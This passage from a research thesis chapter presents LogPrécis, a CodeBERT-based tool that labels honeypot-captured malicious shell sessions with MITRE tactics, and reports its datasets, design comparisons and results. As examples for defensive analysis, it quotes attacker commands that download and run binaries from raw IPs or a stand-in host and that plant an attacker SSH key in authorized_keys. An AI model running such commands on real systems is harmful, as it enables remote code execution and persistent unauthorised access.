however, focuses on a scenario where logs typically record benign activity. Here,

we focus on malicious shell logs, which add complexity to the task, as attackers

evolve scripts to i) exploit new vulnerabilities, ii) bypass defences, and iii) hide their

intentions.

2.2.3 Language Models vs Static analysis

The strongest reason to look at PLMs for the analysis of security logs is that, despite

being more structured than simple natural language, such logs necessitate semantic

understanding that straightforward static rules can hardly encapsulate. In fact, the

same command can be used for different goals and tactics, and one can understand the

attacker’s goal only by considering the context the command appears. Attempting

to achieve similar results with traditional means based on static rules would be

exceedingly expensive, especially considering the obfuscation and evasion techniques

the attacker could implement. In this chapter, we show that a simple approach based

on Word2Vec, that does not rely on contextualised representations, cannot address
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the issue. This justifies the need for more complex LMs that can consider the context

a word appears.

Even in cases where blocklisting or handcrafted methods prove effective, the

natural evolution of attacks requires a continuous and expensive adaptation of such

rules by security experts. Language Models offer a dual advantage: Firstly, by

capturing semantic similarities and not relying on simple rule matching, they are

inherently more robust to novelties and obfuscation techniques. For example, as

demonstrated in our previous work [121], natural language techniques proficiently

group semantically similar UNIX words (e.g., executable files, IPs, etc.) even when

they have random names and lack syntactic relationships. In this work, we show that

the LM’s ability to generalize based on the context a word appears allows it to assign

the correct tactics even to commands never observed before. Secondly, the LM can

be easily updated and adjusted when some new data and labels become available,

or when suggested by a drift detection mechanism [122]. The automatic and purely

data-driven nature of training and fine-tuning requires little to no human intervention,

thus simplifying the cumbersome task of deriving and updating the signatures. As

we will show, model fine-tuning already succeeds with some tens of samples.

2.3 LM Pipeline and Design Choices

Several options are available when using LMs to analyse malicious shell logs,

from the input data formatting to the pre-training strategies, downstream tasks, and

evaluation protocols. We describe them hereafter.

2.3.1 Input: Commands, Statements, Sessions

Attackers often exploit scripts to automate their actions once they gain access to a

system. A shell processes textual statements. Those are commands followed by flags

and parameters. Here we consider the entire shell sessions, i.e., the sequences of

statements executed in the shell by the user from login to logout. These sessions

can be interactive or non-interactive, e.g., a script executed by an automated process,

which is often the case in attacks. The Unix shell has different modes to concatenate

and execute multiple statements. Separators like \n ; | || && can be used to

create complex sequences of statements. The top part of Figure 2.1 shows a toy
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Fig. 2.1 Example of a session, definition of statements, words, tokens, and their classification
into MITRE tactics. Yellow statements belong to “impact” intents, while light blue are
“executions”.

session made of 4 statements, each composed of one command with a variable

number of parameters and flags.

Notice that, in contrast to natural language, statements and commands in our case

are highly sensitive to slight changes in their order, which can significantly impact

the success probability of an attack. In the above example, attempting to download

something before shutting down the machine’s firewall could make the attack fail.

Equally, minor syntax errors could result in script errors.

Finally, the shell language observed in attacks is linguistically different from

natural text and even programming languages. If we intersect a sample of 50,000

unique words from our datasets with 50,000 English words from the Wikipedia

corpus,4 only 71 words are in common. The same experiment with Python5 and

benign Unix shell sessions6 lead to 558 and 448 words in common, respectively.

Moreover, due to randomisation, ∼ 90% of the words in attack logs appear only

once; We observe this percentage at ∼ 42% for Wikipedia English texts, ∼ 64% for

benign shell session, and ∼ 74% for Python code samples.

These differences likely challenge the few-shot capabilities of PLMs and there-

fore call for an in-depth study of trade-offs.

2.3.2 Downstream Classification Tasks

We abstract from the crude per-statement and per-command analysis into a coarser

level of representation that describes the attacker’s intents. We want to unveil the

4https://huggingface.co/datasets/wikitext
5https://huggingface.co/datasets/CM/codexglue_code2text_python
6https://github.com/TellinaTool/nl2bash/tree/master/data/bash



24 Pretrained Language Models for Malicious Log Analysis: LogPrécis

attack goals to the analysts and facilitate the comparison between families of attacks

that may have the same goals but different execution patterns.

Entity Recognition: Given a session made of several statements, an entity can be

an entire statement, a single word (e.g., a command, flag, parameter, or delimiter),

or even a sub-sequence of characters extracted from a word, i.e., a token.7 In fact,

at their internals, NLP solutions typically work at the token level (see Section 2.2).

The last line of Figure 2.1 shows a Unix shell session when split into possible tokens.

Identifying specific entities is a well-known problem in the NLP literature that goes

under the name of named-entity recognition (NER) [123]. It seeks to locate and

classify a subset of entities (e.g., names, locations, companies, phone numbers)

mentioned in unstructured text. Here, we would like to automatically assign an entity

to the attacker’s intent. Figure 2.1 shows an example of the assignment of tactics to

entities.

MITRE Tactics as Class Labels: As intermediate labels, we select the MITRE

Tactics [99] as a compact vocabulary to represent the “whys” of an attack. Our

approach, however, is independent of this selection and could be applied with any

other taxonomy, provided that some labelled sessions are available for fine-tuning

models.

In the MITRE’s taxonomy, an adversary may try to run some malicious code

(Execution), maintain their foothold (Persistence), discover system properties (Dis-

covery), manipulate the system properties (Impact), avoid being detected (Defence

evasion), etc. Tactics are instrumental in letting the security analyst understand the

attackers’ intentions. As further detailed in Section 2.4.2, we create a labelled dataset

in which each statement is assigned a MITRE tactic.

Supervised Problem Formulation: Armed with labels, we formulate a supervised

learning problem, where a classifier, trained on some ground truth, automatically

assigns the MITRE tactics to unlabelled sessions. When using words or tokens as

entities, we assign a label for each entity. Notice that multiple consecutive statements

might be part of the same tactic. Also, the order in which statements appear may

change tactics. In fact, a Unix shell command or statement can have a different

7We call “word” the sequence of characters treated as a unit by the shell. We consider separators
as words too. Since words may be very long, e.g., a text containing an SSH key or a base64 encoded
executable, we truncate them to 30 characters.
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Fig. 2.2 Choices for adopting PLMs in a security pipeline. We also test GPT-3 and classic
approaches after fixing the best combination for other choices.

tactic according to its context. For instance, the rm command may be part of the

Persistence tactic when it erases the original ssh private keys before replacing them

with the attacker’s; it can be part of the Impact tactic when removing a firewall

configuration file; or it may be part of Defence Evasion tactic when removing traces

of the attack execution. This clearly calls for a contextualised understanding of

commands/statements and further motivates us to use modern PLMs.

2.3.3 Design Choices

The integration of PLMs into security pipelines calls for a thorough examination of

design choices, from the preprocessing strategy to the model to adopt. To that end,

we perform a thorough exploration of the design space by comparing 3 chunking

policies, 3 pre-training strategies, 3 LLMs, and 3 different kinds of entities, for a total

of 81 combinations. Moreover, once the best choices are fixed, we also test GPT-3

and classic NLP approaches as alternatives to the PLMs. Figure 2.2 summarises the

options we consider.

Chunking Strategy: The first choice is how to input the session into the model. We

consider three strategies:

• Default: Each PLM splits the input text into tokens (being them words or

sub-words) and has a maximum number of tokens that can be handled as a single

input sequence (max-token, typically 512 for BERT-style models). This represents

the context that the model handles and depends on the size and architecture of the

model [124]. If the input sequence is longer than max-tokens, the model simply

ignores all the rest of the sequence. This behaviour creates artifacts both during

fine-tuning or domain adaptation and at inference time, because sessions that break

such limits will not be correctly labelled – null labelling.
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• Raw: We divide the input sequences into chunks [125], avoiding reaching the

max-token limit. Having checked the empirical distribution of statements’ length, we

choose to split each session (at the statement level) so that each part does not reach

the max-token constraints. Breaking sessions at 18 statements avoids the default

truncation effect. Subsequent session portions are treated as separate inputs. In

that, sessions longer than max-token get split into chunks losing the context of the

previous (and following) statements.

• Context: We truncate each session at 14 maximum statements and prepend/-

postpend each portion with 2 previous statements and 2 following statements (except

at the first and last session portions). This gives the model a contextualised in-

put to work with [126], providing each session portion with some context of the

previous/following statements.

Pre-training Strategy: We consider whether a) to start from the off-the-shelf model

pre-trained on code/natural language b) to start from a randomly initialised model

and retrain from scratch, or c) to apply domain adaptation to the pre-trained model.

Options b) and c) provide alternatives specifically designed to handle Unix shell

sessions, without relying solely on the model’s previous natural language and code

comprehension. With option b), the model forgets its pre-training knowledge and

is trained in an end-to-end fashion on the downstream task. With option c) we

keep the pre-training knowledge and perform a few training epochs8 to solve the

same self-supervised masked-language task using our data. Notice that we cannot

exclude that models have already seen some Unix shell scripts during pre-training.

We instead know that none of the models has been exclusively trained on Unix shell

data and, in particular, exclusively on malicious data.

Pre-trained Language Model: The literature abounds PLMs, each of them trained

on different self-supervised tasks and on different datasets. Models can/cannot be

freely available and are of different sizes, which translates into different computing

resources for training and inference. We focus on three popular open-source PLMs

and one closed-source GPT alternative.

• BERT [102] is a generic model trained on unlabelled text. The pre-trained

BERT can be fine-tuned with just one additional output layer to create models for

8For domain adaptation and fine-tuning 5 and 10 epochs are sufficient according to a grid search
we performed.



2.3 LM Pipeline and Design Choices 27

a wide range of tasks. Introduced by Google in 2018, it is a ubiquitous baseline in

NLP. It is trained on English text.

• CodeBERT [103] has been designed and trained by Microsoft specifically

to handle programming languages and code. CodeBERT is pre-trained with 6

programming languages (Python, Java, JavaScript, PHP, Ruby, Go).

• CodeBERTa [127] builds on BERT and modifies key hyper-parameters, remov-

ing the next-sentence pre-training objective and training with larger mini-batches

and learning rates. It is trained with the same languages as CodeBERT and thus is a

mix of the previous models.

• GPT-3 Davinci [95], one of the OpenAI’s biggest models that developers can

fine-tune for downstream tasks, with 175 billion parameters, it is three orders of

magnitude bigger than BERT. GPT-3 was trained on 45 TB of data, while BERT

was trained on 3 TB. GPT-3 (and its successors) are not freely available and can be

accessed only via an online API with a pay-per-use price model.

Entity Choice: The tactic labels apply naturally to statements and can be extended

to word and token classification (see Figure 2.1). Since, intuitively, the model can

benefit from more examples of words and tokens, we consider all three alternatives

to compare which choice performs the best in practice.

Note that, independently of which entities the model uses internally, the predic-

tions can be aggregated or extended to match the desired granularity. Extending

the labels from coarse- (e.g., statements) to fine-grained (e.g., words) entities is

straightforward. Conversely, to aggregate from fine-grained (e.g., tokens) to coarser

labels (e.g., words) we follow the best practice in NLP which considers the label of

the first token for the upper aggregation [123].

2.3.4 Fine-tuning for Specific Classification Task

Armed with a given PLM, we fine-tune it to solve the specific task of assigning a

tactic to each entity. For this, we add a simple one-layer feed-forward fully connected

network that maps the internal representation provided by the model to the tactics.

We then train the resulting architecture in an end-to-end fashion for a few epochs,8

using a labelled dataset as typically done in supervised learning tasks. Notice that
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the overall design choice and procedure we describe here are generic and can be

applied to other problems, labels, and scripting languages.

2.3.5 Performance Metrics

As performance indicators, we rely on standard ML and NLP metrics. Given a

session, the predicted and original tactics, we have:

• Accuracy: The correct predictions over the total number of predictions. It can

be per class, or overall.

• Precision and recall: Given a class, precision is the fraction of correct predic-

tions among the instances predicted as such class. Recall is the fraction of correct

predictions among all instances belonging to the class. The F1-score is the harmonic

mean of precision and recall.

Note that to measure the performance on the tactic assignment task, we need to

compare the true labels (the reference) with the predicted ones. In our case, different

models can work on statements, words, or tokens, while our ground truth is labelled

at the statement level. For instance, from Figure 2.1, we have 4 statements, 12 words,

and 24 tokens. One misclassification would cost 1/4, 1/12, or 1/24 in accuracy. In

NLP, the correctness of a prediction is, therefore, augmented by the evaluation of the

correctness of the entire sequence of predictions. For this, we consider:

• Binary fidelity (or fidelity for short): given a session, it considers whether the

model can correctly predict exactly the original sequence of tactics. A single added,

removed, or differently classified entity leads to an incorrect classification. The

binary fidelity is thus the fraction of sessions correctly classified.

• ROUGE-1 [128]: It is a standard metric used for evaluating machine translation

in NLP. It compares the translation from named entities to categories against the

reference ground truth. Given a sequence of predicted and reference tactics, the

ROUGE-1 precision is the ratio between the number of tactics that are present both

in the prediction and in the reference and the number of tactics in the reference. In

other words, it counts how many of the original labels the model correctly spotted

(ignoring their sequence). A model that makes many guesses has more chances to

have a high precision. To avoid this bias, the ROUGE-1 recall measures the ratio

between the number of tactics found in prediction and reference over the number of
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Table 2.1 Datasets used in this chapter.

Dataset Sessions Period Usage

NLP2Bash [112] 12,612 – Regular shell domain-adapt.
HaaS [129] 7,208 2017-2022 Attack domain-adapt. & labels

Cyberlab [130] 233,047 2019-2020 Inference
PoliTO [109] 160,475 2021-2023 Inference

tactics in prediction. The ROUGE-1 F1-score, or ROUGE-1 for short, consists of

the harmonic mean of precision and recall.

All metrics take values in [0,1] – the higher, the better. In NLP, ROUGE-1 and

fidelity scores above 0.5 are considered already good results [128, 123].

To provide a fair comparison when using tokens, words, or statements as entities,

we summarise consecutive repetitions of the same tactic into just one label. In

a nutshell, we consider if the model can identify the sequence of tactics a given

attack is performing. For example, in Figure 2.1, we consider the sequence Impact -

Execution, no matter if working at the token, word, or statement level.

At last, we consider Total inference time. It is measured in seconds – the lower,

the better.

2.4 LogPrécis Design and Evaluation

We now detail the engineering of LogPrécis, designed to model and classify Unix

shell logs. We first describe the data and labelling process, then we present an exper-

imental comparison of models and design choices. We conclude with a comparison

with other NLP approaches.

2.4.1 Datasets

We rely on four datasets as detailed in Tab. 2.1. The NLP2Bash [112] and Honeypot-

as-a-Service (HaaS) [129] datasets contain about 20,000 unique Unix Shell scripts

in total. We use them to perform the PLM domain adaptation step for the Unix shell

language.
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From the HaaS dataset, we also select 360 sessions that we label to create the

ground truth for the classifier training, validation, and testing. These sessions have

been extracted to cover heterogeneous cases, selecting both long and short sessions,

and maximising the diversity of attacks. Lastly, we include sessions of attacks found

in the literature to augment the dataset and study cases of tactics typically not seen in

honeypots (e.g., lateral movement). We use this composed dataset in Section 2.4.3.

Conversely, we use PoliTO dataset9 and CyberLab one for inference only (Sec-

tion 2.5 and Section 2.6)

The CyberLab dataset [130] contains shell logs as recorded by over 50 nodes

running Cowrie [116], a popular Unix shell honeypot, installed at universities and

companies in Europe and US. The collection contains more than 233000 unique

sessions and spans from May 2019 to February 2020. Notably, on Nov. 8th, 2019

the honeypots were updated from version Cowrie 1.6.0 to version 2.0.2, and some

high-interaction Cowrie Proxy deployments have been added to the setup.

For PoliTO dataset, we collect these sessions using the Cowrie version 2.3.0

low-interaction honeypot installed on our premises. We use 24 distinct IP addresses

that were online from March 2021 to January 2023. Being inference data, we exclude

any of their sessions during training to avoid biases and over-fitting.

2.4.2 Labelling Process

As in any supervised learning task, we need a labelled dataset to train the final

downstream classifier (i.e., fine-tuning). We thus create a pool of five domain experts

within our institutions. Three experts are given a set of Unix shell sessions to label,

with a subset of about 20% of common sessions. The other two experts supervise

the labelling, help in labelling unclear sessions, and solve eventual conflicts.

In total, we completed the labelling of 360 unique sessions. Note that this number

is very small compared to the number of samples PLMs are trained with and fits the

few-shot-learning paradigm. We study the impact of training size on fine-tuning in

Section 2.4.3.

Tab. 2.2 summarises the number of tactics breakdown in each dataset; for sim-

plicity, statistics are at the word level. Notice that, for the Cyberlab and PoliTO

9Link https://smartdata.polito.it/towards-nlp-based-processing-of-honeypot-logs/
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Table 2.2 Tactics and their breakdown (word level). Notice that, for the inference datasets,
numbers come from the model’s predictions.

Name HaaS Cyberlab PoliTO

(Training) (Inference) (Inference)

Execution 27.08 % 6.29 % 1.18 %
Persistence 10.55 % 11.95 % 26.24 %
Discovery 52.83 % 81.23 % 70.71 %

Impact 2.51 % 0.01 % 0.04 %
Defense Evasion 2.92 % 0.49 % 0.90 %

Harmless 2.51 % 0.03 % 0.97 %
Other 1.61 % 0.01 % 0.00 %

Total (words) 17,715 28,148,367 17,117,219

Table 2.3 Off-the-shelf pre-trained model vs train from scratch (word entity task for all
models, HaaS dataset).

Model Accuracy F1-score ROUGE-1 Fidelity

BERT from scratch 0.772 0.408 0.688 0.267
BERT from scratch + UNIX 0.798 0.526 0.717 0.283

BERT NL pre-trained 0.870 0.552 0.735 0.436
CodeBERT Code pre-trained 0.899 0.624 0.735 0.444

datasets, the numbers come from the model’s predictions. We consider the tactics

that occur at least 100 times in the training sessions and aggregate the less frequent

ones in the Other class. Similarly, we add a Harmless class to label such cases that

would not fit any MITRE category (e.g., simple sessions like echo ‘pwned’).

As best practice in supervised learning training, we split the 360 sessions into

(i) 60% for training, (ii) 20% for validation, and (iii) the remaining 20% for testing.

We repeat each experiment 5 times with different random splits and present average

results.

2.4.3 Design Choice Comparison

Here, we guide the PLM design by comparing the different design options as pre-

sented in Sec. 2.3. We run the experiments using PyTorch and Hugging Face Python’s

libraries on a single machine equipped with a 16 GB Tesla V100 GPU. Roughly,

the domain adaptation on Unix language takes ≈ 50 minutes for each model; on the

other hand, the fine-tuning step on the tactic classification downstream task takes

between 10 and 20 minutes, depending on the design choices.
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Fig. 2.3 ROUGE-1 vs. Fidelity for different chunking strategies (HaaS dataset). 18 points
per strategy. Each metric is averaged over 5 seeds. Context chunking is the winning strategy.

Train from scratch or pre-training? We measure the importance of starting from

a model pre-trained on a natural/code language corpus. Tab. 2.3 shows the results

of BERT models trained to solve the entity classification task. Here, we consider

each word as an entity. BERT from scratch is a randomly initialised BERT that we

directly train on the final classification task. For BERT from scratch + UNIX we

also start from BERT with random weights, but we leverage the UNIX corpus via

the Masked Language self-supervised task before training the resulting PLM on

the final classification10. BERT NL pre-trained is the standard off-the-shell BERT

model (pre-trained on a natural language corpus) that we fine-tune to solve the tactics

classification task. At last, we report the results of CodeBERT code pre-trained,

again fine-tuned on tactics classification. We would expect CodeBERT to take the

lead because it has been pre-trained using programming languages (intuitively more

similar to UNIX).

Results show the benefits of starting from a pre-trained model: both traditional

and NLP metrics increase (roughly, +20% Fidelity, +5% ROUGE-1, etc.) when we

use BERT pre-trained on a natural language corpus. Comparing BERT and Code-

BERT, we notice a further boost due to the pre-training happening on programming

languages that have syntax and semantics that are similar to those found in UNIX

shell scripts. From now on, we stick with pre-trained models.

10Notice: for this case, we do not call this step domain adaptation, since the starting model is not
pre-trained.
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Fig. 2.4 Benefit of domain adaptation (HaaS dataset). Arrows link the same model and task
without and with it. Domain adaptation improves the performance 8 times out of 9.

Choice of Chunking Strategy: We next explore the impact of the chunking strategy.

Fig. 2.3 shows the scatter plot between Fidelity and ROUGE-1 metrics for the 54

remaining models. We represent the same chunking strategy with the same marker.

ROUGE-1 ranges from 0.66 to 0.85, while Fidelity (stricter metric) ranges from 0.33

to 0.67. The experimental results clearly show that the Default Chunking strategy

(red start) does not suffice and the Context Chunking (blue circle) performs the best.

Two considerations hold: First, the max-token parameter which is optimised

for natural or programming languages results too small for malicious bash sessions

because they can be arbitrarily long. Thus, chunking is needed. Second, giving a

bit of previous/following context to the model is important to let it understand the

context in which a statement is executed. From now on, we stick with the Context

Chunking policy.

Choice of Domain Adaptation: Next, we assess the impact of domain adaptation

of a given PLM to include Unix shell-specific language. Fig. 2.4 shows the results

when performing or not this operation. Points linked by the arrows refer to the same

PLM model with the same task when enabling domain adaptation. In 8 out of 9

cases, the domain adaptation improves the results.

Intuitively, even if models have observed some code and likely Shell scripts

during their pre-training, the domain adaptation step is fundamental to updating

the model on the specific use case. This is common in NLP and evident in our

experiments. From now on we always keep the domain adaptation step.



34 Pretrained Language Models for Malicious Log Analysis: LogPrécis

Table 2.4 PLMs with context chunking and domain adaptation. CodeBERT with token
classification task offers the best results (HaaS dataset).

Model Entity Accuracy ROUGE-1 Fidelity

CodeBERT token 0.912 0.853 0.669

CodeBERT word 0.896 0.823 0.594
CodeBERTa token 0.889 0.817 0.506

BERT token 0.902 0.811 0.556
BERT statement 0.909 0.807 0.614
BERT word 0.885 0.791 0.486

CodeBERTa statement 0.885 0.788 0.553
CodeBERTa word 0.863 0.781 0.406
CodeBERT statement 0.877 0.739 0.522

0.0 0.1 0.2 0.3 0.4 0.5 0.6 0.7 0.8 0.9 1.0
Other

Impact
Defense Evasion

Harmless
Persistence

Discovery
Execution

precision recall

Fig. 2.5 Classification metrics for the best model (HaaS dataset). Error bars report the
variance among the 5 different splits.

Choice of PLMs and Tasks: At last, we compare the performance of the PLM

models against the three entity types in Tab. 2.4. Rows are sorted in decreasing order

of ROUGE-1. CodeBERT with token entities is the best option. This result confirms

the intuition that using a PLM trained specifically for code analysis improves the

results of a natural language model such as BERT. Notice also that the token-

based tasks perform better than the word-based and statement-based classification in

general.

The intuition is that the token-based problem benefits from a large number of

labelled samples (i.e., more tokens than words or sessions), and from the opportunity

to consider smaller portions of text like flags, parameters, and even the semantics

carried by long words that get split, e.g., a long PATH, or a long parameter string

like a URL.
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Fig. 2.6 The number of labelled sessions used for fine-tuning (HaaS dataset).

For completeness, we report the per-class precision and recall for the winner

model: CodeBert with context chunking, domain adaption, fine-tuned for token-

based classification. Results shown in Fig. 2.5 are excellent in the most frequent

classes (e.g., Discovery, Execution, Persistence) and good for other classes, especially

considering the limited amount of examples in the training data (see Tab. 2.2).

Lastly, we report the impact of changing the number of labelled sessions used to

fine-tune the model. We consider again the winner model. The results in Figure 2.6

show that the model starts learning with as few as 57 sessions.

Comparison with other LM: Finally, we compare our best model with other

techniques. We consider Word2Vec (W2V) [101], the precursor language model that

uses a simple neural network to learn word associations from a large corpus of text.

We also consider the commercial GPT-3 Davinci [95] model. For W2V, we train the

embedding using the NLP2Bash and HaaS datasets and then solve the downstream

tactic classification task using both a Neural Network (NN) and a Random Forest

(RF). Similarly, we follow the Open-AI guidelines [131] to fine-tune the GTP-3

model using the same 360-labelled dataset we use for the CodeBert. Notice that the

GTP-3 interface does not allow domain adaptation. This step may be less critical

with GTP-3 because the model has already seen a humongous corpus of documents

during training likely containing samples of Unix shell sessions. As stated in the

guidelines, we format our corpus in the form:

{
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Table 2.5 Word2Vec, CodeBERT, and GPT-3 (on HaaS dataset). The best results are in bold.
GPT-3 costs depend on the number of queries to the API.

Model Params ROUGE-1 Fidelity Time Cost [$]

W2V + NN 25k 0.042 0.00 1.3 s 0

W2V + RF 25k 0.282 0.05 1.1 s 0

CodeBERT 130M 0.853 0.669 2.9 s 0

GPT-3 175B 0.829 0.560 68.0 s 105.65

"prompt": Unix session,

"completion": sequence of non repeated labels

}

and run the model for the default 3 epochs. As for the other experiments, we use 5

different splits and then average the obtained metrics.

We compare results in Tab. 2.5 in terms of model complexity (number of param-

eters), ROUGE-1, Fidelity, total inference time, and monetary cost. Results show

that W2V is not suited to solve our task. In sum, the NN classifier cannot converge,

while the simpler RF performs poorly. This is not surprising since W2V is not able

to consider the context in which a word appears, and thus the same word is always

associated with the same embedding (and thus tactic). We will discuss this aspect

further in Sec. 2.5.2.

GPT-3 Davinci is able to obtain slightly worse performance at the cost of a

much higher inference time than CodeBERT. This is because GPT is a cloud-based

solution, which also creates a significant cost that grows with the number of queries.

For the fine-tuning and testing of GPT-3 we spent 105.65 USD in total.11

Understanding Errors: Figure 2.7 shows how the per-word accuracy varies ac-

cording to their occurrences in the training set. We use the best CodeBert model

and break down the results by word popularity. For instance, the red curve refers

to those 55 words in the test set that appear in the training set more than 50 times.

LogPrécis correctly labels each of them with accuracy greater than ∼ 80% – 70%

of the words with accuracy of 100%. The accuracy reduces for words that appear

less frequently in the training set. Interestingly, LogPrécis can correctly label 80%

11We attempted to directly query ChatGPT. However, since it is not meant for classification, we
could not measure its (approximately poor) performance. Therefore, we chose not to report such
results.



2.4 LogPrécis Design and Evaluation 37

0.0 0.2 0.4 0.6 0.8 1.0
0

10
20
30
40
50
60
70
80
90

100

Ac
cu

ra
cy

[0, 1) Train - 153 Test
[1, 10) Train - 154 Test
[10, 50) Train - 74 Test
[50, 423) Train - 55 Test

Fig. 2.7 Accuracy of test words w.r.t. their occurrences in the training set (HaaS dataset).

of those “never seen” words, i.e., words are not even present in the training set (blue

curve). These are random words that the attacker injects into their scripts. Despite

not having seen any of them, the Transformer attention mechanism allows the LM to

correctly classify them thanks to the context in which they appear.

Investigating the position in which the errors tend to occur, we notice that

LogPrécis accuracy reduces when we approach the boundary between two tactics

(the accuracy reduces from 0.90 at distance 6 from the change point to 0.82 at

distance 1). In fact, deciding where a tactic ends and the next one starts has proven

difficult even for the human experts labelling our data.

In a nutshell, LogPrécis can still correctly label rare or previously unseen words

thanks to its generalisation abilities. The context in which a word appears usually

suffice to assign the correct label, even at the boundaries of tactics.

2.4.4 LogPrécis For Log Analysis

Armed with the fine-tuned CodeBERT language model, we implement it in LogPrécis,

a Python application. It receives as input timestamped logs containing Unix sessions

and output labels for each token with the corresponding tactic. Since we are interested

in a word-level analysis, we assign each word its first token label as discussed in

Sec. 2.3.3.

We complement LogPrécis with a dashboard based on Elasticsearch and Kibana

that allows the analyst to interactively explore the data over time. In the following,
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we present some of the results obtained by applying LogPrécis to analyse both the

Cyberlab and PoliTO datasets, presenting examples of the analysis it unleashes.

2.5 LogPrécis in the Wild - Word Level Analysis

LogPrécis receives as input the raw sessions, and outputs the tactic prediction for

each word. We use LogPrécis to characterise how attackers use different tactics and

to identify repeating patterns.
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(a) Tactic breakdown for frequent words in PoliTO dataset.
word: echo

Persistence [. . .] echo -e "123456\nSa2puN1djQSJ\nSa2puN1djQSJ" | passwd | bash ; [. . .]
Discovery [. . .] dd bs=52 count=1if=.s ∥ cat .s ∥ while read i ; do echo $i ; done <.s ; [. . .]

Harmless
cd /tmp ∥ cd /var/run ∥ cd /mnt ∥ cd /root ∥ cd / ; rm -rf i ; wget http://26.16.27.120:56118/i ;

chmod 777 i ; ./i ; echo -e ’\x63\x6F\x6E\x6E\x65\x63\x74\x65\x64’ ;

Execution
[. . .] echo -ne “[#1HEX_BINARY_CHUNK]” >>.s ; echo -ne “[#2HEX_BINARY_CHUNK]” >>.s ;

echo -ne “[#3HEX_BINARY_CHUNK]” >>.s ; ./.s>.i ; chmod 777 .i ; ./.i ;
word: rm

Discovery [. . .] passwd ; echo "321" >/var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 [. . .]

Persistence
cd ∼&& rm -rf .ssh && mkdir .ssh && echo "ssh-rsa SSHKEY== user">>.ssh/authorized_keys

&& chmod -R go= ∼/.ssh && cd ∼; [. . .]
Execution [. . .] wget http://122.234.28.153:37365/i ; chmod 777 i ∥ (cp /bin/ls ii ; cat i>ii ; rm i ; cp ii i ; rm ii) ; ./i ;
Evasion [. . .] dd bs=52 count=1 if=.s ∥ cat .s ∥ while read i ; do echo $i ; done <.s ; /bin/busybox SUGST ; rm .s ;

(b) Examples of how echo and rm commands belong to different tactics.

Fig. 2.8 Tactics for frequent words. LogPrécis leverages the context to assign the correct
tactics.
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2.5.1 Inference Characterisation

The last two columns of Tab. 2.2 show the results of the model’s predictions on

the Cyberlab and PoliTO dataset. In total, we have ≈ 17 M and ≈ 28 M words

that LogPrécis maps to tactics. In both cases, the Discovery tactic is predominant,

accounting for more than 70% of labels.

Persistence tactic comes second. Here attackers want to secure their access to

the system, for instance, by installing SSH keys or changing the original password

to lock out the account owner. We observe that the PoliTO collection contains

more Persistence than Cyberlab; Oppositely, Execution represents only the ≈ 1% of

PoliTO and the ≈ 6% of Cyberlab datasets. This testifies how different could be the

scenario when changing the data capture period and the collection infrastructure.

Note also that the number of words associated with Execution is typically smaller

than those associated with the other tactics. In fact, many sessions start with a

(lengthy) Discovery phase. They continue interacting with the machine with a

Persistence or/and Execution phase. The latter is typically completed with few words

and statements.

These figures are in line with the intuition of security experts labelling our dataset

since attackers spend most of their time collecting information about the system.

Indeed, the design of Cowrie – in particular in its low-interaction mode which is

predominant in our datasets – somehow limits the depth of the attack to its initial

phases, where one expects mainly discovery steps.

2.5.2 Shell Commands to Tactics

Let us dive into which commands attackers typically use to pursue different goals.

In Fig. 2.8a we report the most frequently used words and the breakdown of tactics

they are used for in PoliTO dataset, ignoring separators and common flags. The cell

colour and value represent the fraction of occurrences a given word appears in a

given tactic. Values are column-normalised. As expected, the top frequent words

mostly comprehend Unix shell commands.

Most commands are associated with different tactics. As we anticipated in

Sec. 2.3.2, a Unix shell attacker can employ the same commands for multiple tactics,

with the specific goal determined by the context. This testifies to the need for using
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approaches that can consider each word “by the company it keeps” [132]. PLM

can naturally handle this aspect thanks to attention-based techniques. In contrast, a

simple regular expression-based solution or even a context-less NLP approach like

Word2Vec is not able to handle these cases effectively. In Tab. 2.8, we exemplify

how the attackers use the echo and rm commands for different tactics. They show

how the tactic labelling done by LogPrécis helps the security analyst to understand

the attacker’s goal in different contexts.

Some commands are appropriately associated with only one tactic, confirming

that the LogPrécis classification is robust and consistent. These are the cases of

grep used only for Discovery in these logs; and of the .ssh folder that attackers

manipulate for Persistence only.

2.5.3 Tactics to Shell Commands

We investigate which are the most frequent words per tactic for CyberLab dataset. In

Fig. 2.9 we show the top words associated with the tactics Execution and Persistence.

As before, commands are presented in both lists.

Focusing on Execution, we observe some specific words, like ~/IyEvYmluL2jhc2[. . .],

jeSjax, http://#IP/script.sh, ~/.dhpcd and /tmp/knrm, that immediately

catch the analyst’s attention. Manual checks on security forums and previous

work [133] uncover that they are parts of well-known attacks targeting vulnerable

SSH servers. ~/IyEvYmluL2jhc2[. . .] is a base64 script that is part of the so-called

“DOTA” attack installing a cryptominer [134]. jeSjax and http://#IP/script.sh

appear in the same sessions: the attacker first downloads the script.sh object from

a compromised server, saves it as jeSjax file and executes it [135].

At last, we trace the ~/.dhpcd and /tmp/knrm words to attempts of exploiting

“ShellShock” - indeed we confirm that the downloaded binaries aim at installing

a compromised DHCP server to inject malicious responses in the network, which

could result in arbitrary code execution at vulnerable clients [136]. More details are

in Appendix A.

The top word list used in Persistence shows some interesting patterns related to

the DOTA malware. It involves the manipulation of the /cat/tmp/.var03522123;

the deployment of the AAAAB3NzaC1yc2EAAAAD[. . .] public ssh key to secure access

to the victim machine with the user ’user’ ».ssh/authorized_keys.
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Fig. 2.9 Most common words often associated with a specific tactic found in the Cyberlab
sessions.

In a nutshell, LogPrécis’s ability to abstract from raw words and identify attacker

tactics helps the analyst to understand attacks and find commonalities, focusing on

the salient parts of the attacks.

2.6 LogPrécis in the Wild - Session Fingerprints

We extend the analysis from the word level to the session level. Particularly, we intro-

duce the tactics fingerprints, a session’s representation that leverages the sequences

of tactics as a signature. We show how the representations can help in forensics and

novelty detection. Finally, we show that fingerprints are also useful for investigating

common patterns between attacks.

2.6.1 Fingerprints at the Session Level

We showed that thousands of distinct sessions share common words, such as SSH

keys, specific executable names, or filenames. However, the large number of word

combinations makes the number of unique sessions grow to hundreds of thousands

and thus it is impractical to analyse them manually. This leads us to introduce the

concept of fingerprint that we define as the sequence of tactics.
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Fig. 2.10 ECDF of the number of sessions per fingerprint. Around 10% of fingerprints
aggregate more than 10 distinct sessions each.

Consider for example the eight words (separators count) session:

wget http://bad.server.com/exec ; ./exec ; rm exec ;

The first five are labelled as Execution; the last three as Defence Evasion. We hence

say that Execution X 5 – Defence Evasion X 3 is the fingerprint of such a

session.

Different sessions can be associated with the same fingerprint. We identify 1259

and 1673 unique fingerprints for the PoliTO and Cyberlab datasets, respectively.

Compared to the about 400000 total unique sessions (cfr. Tab. 2.1), the number of

